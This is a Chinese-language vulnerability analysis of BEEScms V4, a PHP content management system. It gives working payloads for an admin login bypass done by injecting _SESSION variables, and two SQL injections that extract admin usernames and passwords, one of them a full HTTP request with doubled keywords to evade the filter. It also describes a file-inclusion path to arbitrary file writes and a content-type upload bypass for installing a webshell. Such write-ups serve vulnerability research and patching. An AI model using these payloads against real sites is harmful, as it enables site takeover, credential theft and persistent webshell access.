BEEScms_V4漏洞分析
鉴权漏洞-访问绕过
includes/init.php的全局变量预设在忽略了后面鉴权用到的session变量
鉴权函数在includes/fun.php的is_login()中,只是单纯的判断了是否存在login_in admin、session这俩标识位和超时大于3600。
测试方法
在任意页面发送payload,然后直接访问admin
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=12345678912345
前台-SQL注入
注入点1
原理和前面类似,member\member.php直接带入用户可控的session值查询
任意页面发送payload,然后访问/member/member.php
_SESSION[member_purview]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)&_SESSION[member_user]=1&_SESSION[member_login]=1&_SESSION[member_id]=1
注入点2
admin/login.php中调用了includes/fun.php中的check_login($user,$password)函数和fl_value()函数
fl_value()函数把输入的and、select等关键字过滤
check_login函数将用户输入的user直接带入查询
因为存在关键字的过滤,所以需要简单构造一下payload
POST /bees/admin/login.php?action=ck_login HTTP/1.1
Host: 127.0.0.1
Content-Length: 193
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=vsqge8462edk0oo24tuip07bt7
Connection: close
user=admin' an and d updatexml(1,concat(0x5c,(Selselectect group_concat(admin_name,0x5c,admin_password) fr from om bees_admin)),1)#&password=123456&code=a5db&submit=true&submit.x=29&submit.y=21
文件包含getshell
admin_template.php存在文件包含还可以直接修改包含文件的内容,问题主要是在下面这一部分
大概逻辑是这样的
1.检查 $action 是否等于 'xg',
2.如果是就运行check_purview('tpl_manage')检测用户权限
3.通过GET获取文件名和CMS_PATH拼接
4.fopen打开文件
5.读取打开的模板文件的内容,并将其存储在 $str 变量中。
那么就很简单了直接读任意文件写入shell就行,不过好像admin_template.php后台没有显示,也许是开发没写完功能或是忘了吧....
payload:
http://127.0.0.1/bees/admin/admin_template.php?action=xg&nav=list_tpl&admin_p_nav=tpl&lang=cn&file=包含的文件
文件上传getshell
这里admin/upload.php调用了/includes/fun.php里的up_img(),作用是校验上传文件的content-type字段,如果content-type字段是允许上传的类型,则上传成功,否则上传失败。所以这里我们只要在数据包中修改content-type字段,就可以绕过上传校验,上传webshell